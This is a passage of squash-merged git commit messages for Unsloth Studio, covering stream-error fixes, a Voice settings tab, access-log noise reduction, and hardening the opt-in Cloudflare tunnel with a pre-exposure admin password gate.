The one-shot remap notice fired while computing the mapping, so a read that kept its original path emitted a false notice and spent the notice a later genuine remap needed. Only emit it once _remap_open commits to the redirect. Separately, os.open classified O_TRUNC / O_APPEND without O_CREAT as creating, but those cannot create a missing file, so a missing target now stays truthful (only O_CREAT maps to the creating mode).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: convert only genuine HTML README bodies, not Markdown with a leading block tag
The GitHub README API returns the raw file, almost always Markdown. _looks_like_html classified a Markdown README opening with a block tag (<ul>, <ol>, <dl>, <pre>, <blockquote>) as HTML, so _fetch_page_text ran it through html_to_markdown and collapsed its headings, lists and fenced code into a single line. Sniff the README body with a stricter document-level check (doctype or a leading <html>/<head>/<body>) so only a real .html README is converted; the general page path is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Surface unclassified mid-stream Anthropic errors as SSE error events
The local Anthropic tool-stream and plain-stream paths called
_anthropic_stream_error_event(e) with force defaulting to False, so an
unclassified mid-stream failure (llama-server crash, decode OOM, a
dropped upstream socket) returned no event. The except block then fell
through to emitter.finish(), emitting a normal message_delta and
message_stop that masked a truncated turn as a clean finish.
Pass force = True at both fall-through sites so an unclassified failure
emits a 500 SSE error event and returns, matching the Anthropic
passthrough path that already forces it. Add regression tests covering
both stream paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give each tool run a unique part id so finished cards keep their own output
Backend tool ids restart at call_0 every assistant response, and the
transient toolLiveOutput/toolFullOutput store maps were keyed by pane
scope plus that bare backend id. Two turns in the same pane therefore
shared one key: the stale-clear at tool_start only guards the forward
direction, so when a later call_0 finished and wrote its preserved full
output, every earlier still-mounted finished card reading the same key
re-rendered and displayed the newer tool's output instead of its own.
Mint one per-run-unique part id per backend id (call_0:<uuid>) and route
tool_start/output/args/end through a single resolver so all events for a
call resolve the same id. The durable part carries the unique id, so the
finished-card readers derive a collision-free key with no change, and the
awaiting-confirmation path keeps its own synthesized id. Outbound replay
stays paired (the assistant tool_call id and the role=tool result
tool_call_id both come from the part id) and gains unique ids across
turns, which strict providers require.
* Studio: tighten PR comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* Studio: add Voice settings tab (dictation, dictionary, read aloud)
New Voice tab in Settings, placed just before About:
- Dictation: microphone picker, browser STT engine, recognition language,
and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
curated system voices (novelty and legacy voices filtered, quality
ranked, capped at 20) or the TTS audio model loaded in Unsloth via
/audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview
Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.
* Studio: drop the single option STT engine select, rename TTS option
The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.
* Studio: harden Voice settings against edge cases found in simulation
Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:
- Dictionary rewrite used a replacement string, so entries containing
dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
on hydration
- The Test dictation panel now falls back to the default microphone
when the saved device is unplugged, matching the composer adapter
Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.
* Studio: address Voice settings review feedback
Verified each review comment before acting. Confirmed and fixed:
- Editing a dictionary entry was broken in two ways: the store trimmed
on every keystroke so spaces could not be typed, and clearing the
field deleted the entry and unmounted the input mid edit. Updates now
keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
cross browser probe showed Firefox and WebKit throw
OverconstrainedError objects that are not DOMExceptions, so the
fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
the mic stream stayed open. All recognition end paths now stop the
tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
browser speech engine cannot bind a specific device, since browsers
without the start(track) overload ignore the argument silently
Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.
* Studio: use the chat mic icon in Voice settings for consistency
The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.
* Studio: address second round of Voice settings review feedback
Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:
- The microphone row showed a picker with generic names when browsers
enumerate unlabeled devices before permission, leaving no way to
grant access from the row. It now branches on whether labels are
visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
the chosen device with the same fallback rules as the main adapter,
passes the track to recognition where supported and releases the
stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
read aloud was playing a chat message. Cleanup now only cancels when
the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
first stream. A starting flag set before the getUserMedia await makes
start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
now release the selected device stream before retrying with the
default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
Unsloth TTS engine only needs audio playback, so it stays available
in WebViews without speechSynthesis, with a clear error if the system
engine is chosen there
Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.
All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.
* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item
* Studio: guard dictation mic lifecycle in Voice test and Compare composer
Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.
* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings
- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race
* Studio: trim redundant Voice settings comments
* Studio: fix Voice preview and Compare dictation edge cases
- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration
* Studio: use clipboard fallback for recents and release failed preview audio
- Copy recent dictations via the copyToClipboard helper so the execCommand
fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error
* Studio: surface dictation and read-aloud failures instead of failing silently
- Compare dictation reports microphone and speech-recognition errors via toast,
reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations
* Harden cross-browser microphone errors
* Surface voice test recognition errors and fall back to Studio TTS
- Voice test now toasts non-abort speech-recognition failures instead of
ending silently, matching the main and Compare dictation paths.
- Read-aloud routes to the backend model when the runtime lacks Web Speech
synthesis (audio-only WebView), so it no longer errors immediately.
* Fix read-aloud fallback controls
* Guard read-aloud stop when deleting a non-speaking message
aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.
* Cap recent dictation transcript length before persisting
Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.
* Harden read-aloud stop on delete and surface preview playback errors
- Deleting a message now stops read-aloud when the spoken message is among
those removed (including a user prompt's cascaded assistant replies), read at
click time and guarded so a playback end between render and click cannot
abort the delete.
- Voice preview now reports playback failures instead of silently resetting
the button, matching the read-aloud path.
* Remove stray review notes; notify TTS subscribers; drop regex lookbehind
- Remove plans/review_*.md scratch files accidentally committed earlier.
- Studio read-aloud now notifies speech subscribers on the async
starting -> running transition so status does not stay stuck at starting.
- Dictionary correction captures the leading boundary instead of a lookbehind
so it works on engines with dictation but no lookbehind (Safari < 16.4).
* Fix keyboard deletion of an emptied dictionary entry
Tabbing to a just-emptied row's Remove button blurred the input and
commit-spliced the empty row, so with index-keyed rows the button's keyboard
activation deleted the next entry. Skip the commit when focus moves to that
row's Remove button; the existing mouse guard is kept.
* Reapply Studio TTS playback rate on loadedmetadata
Some browsers reset an Audio element's playbackRate to 1 once the source
loads, so the selected speed could be dropped for read-aloud and voice
preview. Reapply it on loadedmetadata in both paths.
---------
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Fix Studio toast close-button positioning
* Use UTF-8 for locale regression test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden toast close-button positioning
* Limit language menu height
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: exclude /api/export/status from request access logs
The frontend polls /api/export/status every 5s to detect export start, so it
fires continuously even when idle. Each poll emitted an info request_completed
access line, making up most of the server access logs. Add it to _EXCLUDED_PATHS
alongside /api/train/status. The endpoint is unchanged; export state is still
logged by the export modules and streamed over SSE, so no signal is lost.
* Studio: collapse hub download-progress polls in the access log
download-status and gguf-download-progress (plus the dataset equivalents)
are polled about twice a second for the whole download, so each emitted an
info request_completed line. Add them to _QUIET_POLL_PATHS so they collapse
to one heartbeat line per 10s instead of one per poll.
* Studio: log hub download progress at 10% steps
The access log carried no real progress, only poll pings. Emit one
hub_download_progress line per 10% step from the shared snapshot progress
reader, so an active download shows actual percentage without a line per
poll. Throttled per job and resynced if the same download restarts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: drop successful chat thread/project CRUD from the access log
A single chat turn fans out about twenty requests under /api/chat/threads
and /api/chat/projects (list, fetch, per-message forks, and the message
writes) that only reflect the UI re-rendering. Suppress their 2xx access
line so the log keeps the signal (generation, tool calls, code execution,
engine stats) and errors. Non-2xx on these paths still log.
* Studio: silence transformers torch_dtype deprecation warning
transformers logs "`torch_dtype` is deprecated! Use `dtype` instead!" once at
model-config load via logger.warning_once (logging, not warnings), so a warnings
filter cannot catch it. Attach a small logging.Filter in setup_logging, which
runs before any model config is parsed, to drop that record on the transformers
loggers that emit it.
* Studio: quiet inference load-progress polls and log throttled load progress
The frontend polls /api/inference/load-progress about twice a second for the
whole model load, so each emitted a request_completed line. Add it to
_QUIET_POLL_PATHS (heartbeat) and emit one inference_load_progress line per 10%
step from the load-progress route, so a load shows real percentage instead of a
line per poll.
* Studio: fully suppress download/load progress poll access lines
The download-status, download-progress, gguf-download-progress, active-downloads
and transport-status polls (model and dataset), plus inference load-progress,
fire ~2x/s for the whole download or load. Their progress is now reported by the
hub_download_progress / inference_load_progress events (and the viewer's progress
line), so the per-poll access line adds nothing. Drop it on 2xx and keep it on
errors, instead of the prior 10s heartbeat. Chat CRUD suppression is folded into
the same _is_quiet_success helper.
* Studio: suppress training-tab model/dataset download-progress polls
The training tab polls /api/models/download-progress and
/api/datasets/download-progress about twice a second for the whole prep phase.
These are separate routes from the /api/hub equivalents and only scan the cache,
so their 2xx access line adds nothing (on Windows they always read 0 since the
bytes live in snapshots/, not blobs/). Suppress the 2xx line and keep errors,
alongside /api/models/gguf-download-progress.
* Studio: drop transient pre-auth 401 on chat thread/project polls
On first load the SPA fires chat thread/project GETs before the initial token
refresh, so they 401 until /api/auth/refresh runs and the retries succeed. That
pre-auth 401 is a bootstrap artifact, not an error; suppress it alongside the
already-quiet 2xx line. Genuine 4xx/5xx on these paths, the download/load poll
401s, and all /api/auth/* still log.
* Studio: quiet tab-switch list polls and per-poll scan/reconnect logs
Switching between the Train, Export, and Chat tabs refetches list endpoints on a
timer, and each hit re-logs internal detail. Heartbeat /api/train/runs,
/api/models/checkpoints, /api/models/local and /api/rag/knowledge-bases (10s
window, first hit and errors still log), and downgrade two per-poll INFO lines to
debug: the checkpoints scan summary ("Found N training runs") and the
per-reconnect SSE resume line. The meaningful "replayed N missed steps" line,
logged only when steps were actually replayed, stays at info.
* Studio: enable tokenizer parallelism for dataset prep on Windows/macOS
TOKENIZERS_PARALLELISM was forced off everywhere to stop datasets' forked map()
workers from deadlocking, but that fork only happens on Linux. On spawn platforms
(Windows/macOS) dataset.map() runs in-process (dataset_map_num_proc returns None),
so disabling tokenizer parallelism leaves the fast tokenizer single-threaded and
dataset prep runs serially on one core. Keep it off on Linux (fork safety) and on
for spawn platforms, where there is no fork to deadlock. Measured ~7x faster
tokenization (12.5s -> 1.7s for 20k rows on a 32-core Windows box).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: log throttled training status to the server log
Training step/loss/epoch only went to the UI via SSE, so the server log showed
inference engine_stats and train/runs heartbeats but nothing about the actual
run. Emit one throttled training_progress line (step/total, percent, loss, epoch,
eta) from the CUDA event pump: the first step, then at most every 30s, plus the
final step, resyncing when a new run restarts the counter. Per-step UI streaming
is unchanged.
* Studio: quiet llama.cpp update-status polls and log throttled update progress
The prebuilt llama.cpp update polls /api/llama/update-status about twice a second
for the whole download and install. Suppress its 2xx access line (errors still
log) and emit one throttled llama_update_progress line per 10% step from the
status route, so the update shows progress without a line per poll. The existing
"llama update: installing" and "llama update: success" events still bracket it.
* Studio: quiet the export log-tail poll
The Export tab polls /api/export/logs about once a second to stream the export
subprocess output into the UI panel. Suppress its 2xx access line; the real
progress is already logged as event-driven "Export subprocess status: <phase>"
lines plus the subprocess start and checkpoint-loaded events, and errors still log.
* studio: keep errors and mutations visible in access-log suppression
Make the quiet-success access-log suppression GET-only so chat thread/project
mutations (POST/PUT/DELETE) still log; only their list-poll 2xx and the
transient pre-auth 401 are dropped.
Suppress /api/export/status 2xx only (move it out of the all-status exclude
set) so a 401/403/500 on it stays visible.
Legacy /api/models and /api/datasets download-progress polls emit no
hub_download_progress events, so heartbeat them via the 10s quiet-poll window
instead of suppressing outright, keeping download visibility (notably on
Linux). The event-emitting /api/hub download polls stay fully suppressed.
Update and extend the middleware tests to cover GET-only suppression, the
export-status error path, and the legacy download heartbeat.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten access-log and training-progress comments
Comment-only pass: collapse the multi-line explanations in the logging
middleware and the throttled training-progress logger to fewer lines while
keeping the rationale. No behavior change.
* studio: log structured export_progress phases
Emit a structured export_progress event per phase (consolidated in the server
log like training and download progress) instead of a plain status string, and
add a phase milestone at the start of the heavy export step so the
merge/save/convert is visible in the server log, not only in the forwarded
stdout panel.
* Studio: reset training-progress log throttle on each new run
start_training rebuilds the per-run progress state but left _last_progress_log_ts/_last_progress_log_step at their prior values. A run started within 30s of a previous one whose last logged step matched the new run's first step would hit the step == prev short-circuit and drop the promised first training_progress line, then stay suppressed until the old 30s window expired. Reset both fields when a new job is accepted.
* Studio: keep post-bootstrap chat 401s visible in the access log
The chat thread/project 401 suppression dropped every GET 401 on those prefixes, so a genuine expired-session 401 vanished alongside the transient pre-auth race. Gate the 401 drop on a per-middleware bootstrap latch that flips once /api/auth/refresh first succeeds: before that the 401s are the pre-refresh race and are suppressed; after it any chat 401 is a real failure and logs. Add a test for the post-refresh case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: limit chat access-log suppression to the exact list polls
The chat thread/project suppression matched by startswith, so it also dropped the 2xx access line for detail and message reads (/threads/{id}, /threads/{id}/messages, /threads/{id}/messages/{id}, /projects/{id}) that are not the high-frequency list polls, losing their access and latency logging. Match the two list paths exactly instead, so only the intended list polls (and their pre-auth 401 race) are suppressed while detail and message reads keep their access line. Add a regression test.
* Studio: reset inference load-progress throttle for each load
The load-progress throttle (_last_load_progress_step) is a module global that persisted across loads, so a cached or small load whose first sampled /api/inference/load-progress response already reported fraction=1.0 hit step == prev (10) from a prior completed load and emitted no inference_load_progress line, while that endpoint's access log is suppressed, leaving the new load with no progress signal. Arm the throttle at load initiation in _load_model_impl so each load's first step always logs. Add a regression test.
* Studio: tighten logging comments
Collapse a few verbose comments (tokenizer-parallelism note, torch_dtype filter, legacy download-poll heartbeat, chat list-path suppression) to fewer lines without changing intent or code.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The edge fades toggle in Settings > Appearance let users swap the panel
edge gradients for thin divider lines. It added little on top of the
default look, so this removes the setting and all of its wiring while
leaving the default edge fades in place.
- drop the edgeFades field, default, and no-edge-fades class from the
appearance customization store
- remove the settings row, switch, and search entry
- drop the html.no-edge-fades rules from index.css and hub.css
- remove the edgeFades label and description from all locales
- drop the edgeFades field from the personalization backend model and
its test references
* Studio: make the Cloudflare tunnel opt-in (off by default)
A wildcard bind (`-H 0.0.0.0`) auto-started a public trycloudflare.com
tunnel, so exposing Studio on the LAN also published it to the public
internet. Flip the default so the tunnel is opt-in.
- `--cloudflare` is now tri-state (Optional[bool], default None = off),
mirroring the existing --enable-tools/--disable-tools handling. Pass
--cloudflare to expose a public HTTPS link for a wildcard bind; --secure
still implies the tunnel.
- --secure + --no-cloudflare is still rejected as a contradiction.
- Update the parent-command guard, re-exec forwarding, startup-banner
wording, the colab comment, README, and tests.
* Studio: update installer/setup launch hints for opt-in Cloudflare
The post-install launch hints only mentioned --secure for a public link.
Now that the tunnel is opt-in, clarify that -H 0.0.0.0 exposes the raw
port on the LAN (not a public URL), and surface --cloudflare as the
explicit opt-in for a public HTTPS link (--secure keeps the raw port
private). Applied to install.ps1, install.sh, and studio/setup.sh.
* Studio: address review - keep cloudflare tri-state + harden run re-exec
Two review points from the bots:
- Gemini: keep `cloudflare` as Optional[bool] in run_server instead of
casting None -> False, so the startup banner can distinguish "OFF (default)"
(unset) from "OFF (--no-cloudflare)" (explicit). `_cloudflare_flag` and the
banner branch now carry the tri-state.
- Codex (P1): `unsloth studio run` re-execs the studio venv's console script,
which can be an older build whose --cloudflare defaulted on; omitting the
flag let it re-enable the tunnel. That path now forwards the default polarity
explicitly (--no-cloudflare, or nothing under --secure since --secure implies
the tunnel). The plain `unsloth studio` path runs the same-version in-tree
run.py (resolved via _find_run_py), so it keeps forwarding only an explicit
polarity and still shows the accurate "(default)" banner.
Tests updated for the tri-state banner labels, the None gate cases, and the
new re-exec forwarding.
* Studio: forward --no-cloudflare on plain re-exec too (mixed install)
Codex follow-up: _find_run_py falls back to STUDIO_HOME/.../studio/backend/
run.py when the package copy is absent, so the plain `unsloth studio` re-exec
can land on an older run.py whose --cloudflare defaults on. Forward the default
polarity explicitly there too (--no-cloudflare, or nothing under --secure),
matching the run subcommand. The common in-venv launch skips the re-exec and
still shows the tri-state "(default)" banner.
* Studio: fix launch hint - --cloudflare needs the wildcard bind
Codex P3: the launch hint listed --cloudflare next to the loopback
`unsloth studio -p 8888` command, but the tunnel only starts for wildcard
binds, so `--cloudflare` alone on 127.0.0.1 does nothing. Show
`-H 0.0.0.0 --cloudflare` in the hints (install.ps1, install.sh,
studio/setup.sh) and clarify the same in the README.
* Studio: cross-platform masked terminal password prompt helper
Per-keystroke '*' echo (POSIX termios cbreak / Windows msvcrt.getwch),
backspace editing, Ctrl-C abort, EOF handling, confirmation loop with
re-prompt on mismatch or policy failure. Pure should_prompt gate for the
--secure/--cloudflare exposure paths.
* Studio CLI: force a terminal password change before public tunnel exposure
When a launch will start the Cloudflare tunnel (--secure, or --cloudflare on
a non-api-only wildcard bind) and the admin account still has its seeded
bootstrap password, prompt for a new password in the terminal (masked with
'*', confirmed, re-prompting until valid) before any re-exec or server
exists. The change is committed in the parent so it never crosses argv or
the environment and older studio-venv children see it immediately. Without
a terminal, warn and fall back to the backend bootstrap shutdown timer.
Mirrors backend update_password semantics in one transaction: rehash,
rotate the JWT secret, clear must_change_password, revoke refresh tokens,
drop the desktop secret, then remove the stale credential files.
* Studio: terminal password gate before the public tunnel (backend backstop)
Never publish a trycloudflare URL while the seeded admin password is
active: run_server now runs a terminal password-change gate after the
tunnel decision and strictly before start_studio_tunnel. Interactive
refusal fails closed (shutdown + exit 1, mirroring the secure gate);
without a tty it warns and keeps the bootstrap deadline. Success applies
the same effects as the change-password route (update_password +
revoke_user_refresh_tokens) and drops the stale
app.state.bootstrap_password. MIN_PASSWORD_LENGTH centralised in
auth/storage.py and referenced by the HTTP schema. terminal_prompt.py
carries the pure gate helper (interactive loop stubbed; supplied by the
masked-input module). Also migrates the studio/setup.ps1 launch footer
that still showed the bare wildcard hint.
* README: reconcile remote-access section with opt-in Cloudflare tunnel
* Studio: harden the terminal password gate after review
- run.py: run the gate BEFORE the uvicorn socket binds. On a wildcard
--cloudflare launch the served HTML injects the bootstrap credential
for first login, so a pre-gate listener would hand the default
password to anyone who reaches the raw port while the operator is
still typing. The gate now also seeds the admin row itself (it can
run before lifespan startup).
- Headless launches that nothing would protect now fail closed: the
bootstrap deadline never arms for api-only serving and
UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0 disables it, so warn-and-proceed
would have promised a shutdown that never comes. Both the CLI and the
backend refuse to publish in that case; the ordinary headless path
still warns and relies on the 1h deadline, and no longer auto-fills
the default credential into HTML served on a public URL.
- storage.update_password gains revoke_refresh_tokens to delete the
user's refresh tokens in the SAME transaction as the password commit;
the change-password route and the backend gate use it (a separable
follow-up delete could fail after the commit and leave a stale
refresh token able to mint access tokens under the rotated secret).
- clear_bootstrap_password is best-effort: a locked/undeletable file
must not surface as a failed password change.
- CLI masked reader: disable ISIG like the backend so Ctrl-Z cannot
suspend the process with the shared terminal stuck in no-echo mode;
handle Ctrl-C/Ctrl-Z as characters; treat stream EOF mid-line as an
abort instead of submitting a partial password. Both readers restore
terminal attrs from a SIGTERM/SIGHUP handler since a finally block
cannot run when a default-disposition signal terminates the process.
- Backend reader: decode byte-at-a-time through an incremental UTF-8
decoder so multi-byte characters split across read boundaries are no
longer dropped; isatty checks tolerate closed/None streams.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: persist bootstrap suppression through lifespan startup
The pre-bind password gate nulled app.state.bootstrap_password, but the
FastAPI lifespan runs after it and re-reads the bootstrap password into
app.state on both admin paths, so a headless public launch could still
serve the injected credential in HTML. Carry a persistent
suppress_bootstrap_injection flag that the lifespan honors instead.
Also drop the quoted Tuple annotation on _terminal_password_gate that
tripped the import-hoist lint (the typing import looked unused).
* Studio CLI: keep the pre-exec auth DB private (0700 dir, 0600 db)
On a fresh install the pre-exposure password gate creates auth/ and
auth.db through the CLI before the backend ever runs, and
sqlite3.connect leaves the DB 0644 under a 022 umask. Mirror backend
storage.get_connection's chmod so the committed password hash and JWT
secret are never world-readable, even if the launch aborts before the
backend applies its own modes.
* Tighten pre-exposure password gate comments
* Studio: delete seeded bootstrap password before headless public re-exec
The headless warn-and-proceed path returns with the default admin
password still active, then re-execs a child Studio process. An old
studio-venv child (mixed-version install) predates the pre-bind gate and
its injection-suppress flag, so its lifespan reads .bootstrap_password
and injects the seeded credential into the public HTML for up to the
bootstrap deadline. A CLI-flag handshake cannot fix this uniformly: the
studio run path uses ignore_unknown_options and an old in-venv child
runs in-process, so it would never reject the flag.
Delete the seeded .bootstrap_password file in the parent before re-exec
so a fresh child of any version reads None and never serves it. This
covers both re-exec paths and both child versions. must_change_password
stays set, so the login page still forces a change and the bootstrap
shutdown timer still arms; only the plaintext-on-disk copy is removed.
Recovery is via a terminal-attached run or reset-password. Backend gate
and CLI warnings updated to match.
* Studio: commit the seeded admin before headless public re-exec
The headless-warn path deletes the seeded .bootstrap_password so a
re-exec'd child cannot inject it, but _ensure_cli_default_admin's INSERT
was never committed and rolled back on conn.close(). On a fresh
STUDIO_HOME an old studio-venv child then found no admin, regenerated a
fresh bootstrap password + file, and injected THAT into the public page,
defeating the deletion.
Commit the seeded admin right after _ensure_cli_default_admin so any
re-exec'd child sees the existing account and does not regenerate.
Regression tests cover both re-exec paths on a fresh (unseeded) DB.
* Studio: fail closed when the bootstrap password file cannot be removed
On the headless public path, deleting .bootstrap_password is the
protection against an old re-exec'd child injecting the seeded
credential. If unlink fails (locked file, read-only auth dir) the file
is still on disk, so warning and proceeding would still leak it for the
bootstrap-timeout window. Abort with a clear error instead. Regression
test covers the unlink-failure fail-closed path.
* Studio: hold no-echo for the whole password line, not per keystroke
The POSIX masked reader set cbreak/no-echo inside _getch_posix and restored
the terminal to echo-on in a finally after every single keystroke, because
_read_password calls _getch once per character. Between one char returning and
the next call re-entering cbreak, ECHO was on, so a keystroke arriving in that
window echoed the password in cleartext.
Move the terminal mode into a _prompt_raw_mode context that _read_password
holds around the entire line (mirroring unsloth_cli/commands/_password_prompt.py,
which already did this), restoring once when the line completes or aborts.
_getch_posix now only reads, since the mode is held by the caller. The context
is a no-op when stdin is not a real terminal, keeping the _getch test seam.
Add a regression test asserting the raw-mode context wraps the read exactly
once and every keystroke is read while it is active.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: strip the seeded bootstrap password when the auth DB check fails
The pre-exposure gate returned early on two auth-DB inspection failures and
proceeded to re-exec without removing the seeded .bootstrap_password:
- _connect_auth_db() failure: a seeded credential from a prior run may still
be on disk.
- the must_change_password read-back failure: worse, _ensure_cli_default_admin
had already seeded the admin and the code committed it (writing
.bootstrap_password) right before the failing SELECT.
In the mixed-version case (a new outer CLI re-execing an old studio-venv child
that predates the pre-bind gate), that child would read the file back and
inject the default admin credential into the public Cloudflare page. The
sibling headless branch already deletes the file for exactly this reason, so
these returns were an inconsistent gap.
Factor the delete-or-fail-closed logic into
_strip_seeded_bootstrap_password_or_exit and call it on both inspection
failures (and reuse it in the headless branch): strip the seeded file first
(version-independent protection), failing closed if the removal itself fails.
must_change_password stays set, so the login page still forces a change and the
bootstrap shutdown timer still arms.
Add tests for both new paths (connect failure and post-commit read-back
failure strip the file and proceed; a failed strip fails closed).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fail closed when the seeded admin cannot be committed before exposure
The pre-exposure gate wrapped _ensure_cli_default_admin (the INSERT), its
conn.commit(), and the must_change_password read-back in one try, and the
except recovered by stripping .bootstrap_password and proceeding to re-exec on
the assumption the admin was already committed. That assumption only holds when
the failing statement is the SELECT. When the INSERT or the commit itself fails
(e.g. a write lock held past the busy timeout on a fresh install), no admin row
is committed: it rolls back on conn.close(), and a re-exec'd old studio-venv
child (no pre-bind gate) then finds no admin, regenerates a fresh bootstrap
password + file, and serves that default credential on the public Cloudflare
page. Stripping the file cannot stop a regeneration.
Split the seed+commit into its own try that fails closed (refuse the public
launch, best-effort removing any half-written seed file) since we cannot prove a
committed admin; keep the separate read-back failure on the strip-and-proceed
path, where the admin is committed so an old child finds it and will not
regenerate. Add a test for the seed-commit-failure path.
* Studio: decode the CLI masked password reader with errors="replace"
The CLI reader read keystrokes with text-mode sys.stdin.read(1), which raises
UnicodeDecodeError on a pasted non-UTF-8 password (e.g. Latin-1 bytes), or under
PYTHONUTF8 yields a lone surrogate that later crashes the pbkdf2 encode -- either
aborts the launch with a traceback. The backend mirror (terminal_prompt.py)
already reads raw bytes through an incremental decoder with errors="replace".
Mirror that here: read with os.read and an incremental decoder so invalid bytes
map to U+FFFD, iterating over each emitted char (one byte can complete a
replacement plus the next char).
* Studio: resolve the child launcher before the pre-exposure gate
The gate strips the seeded .bootstrap_password on a headless public launch, and
it ran before the re-exec launchability check (studio venv / run.py / console
script present). So a headless launch with an incomplete studio setup would seed
the admin, delete the bootstrap password, then abort because the child could not
be found, leaving the admin at must_change_password=1 with no password ever
shown or injectable: locked out until `unsloth studio reset-password`.
Resolve and validate the child launcher first, in both `studio` (studio_default)
and `studio run`, and only then run the gate, so an unlaunchable setup exits
before anything is stripped. Add a regression test that a missing venv exits
without removing the seeded file.
* Studio: fail closed when the auth DB cannot be opened before exposure
The connect-failure branch of the pre-exposure gate stripped .bootstrap_password
and proceeded, on the assumption a committed admin from a prior run made an old
child find it and not regenerate. But on a fresh public launch whose
_connect_auth_db() itself fails (transient lock during the schema/seed step, or
an unwritable home), no admin is committed, so a mixed-version re-exec child that
predates the backend gate can find no user, generate a fresh bootstrap password,
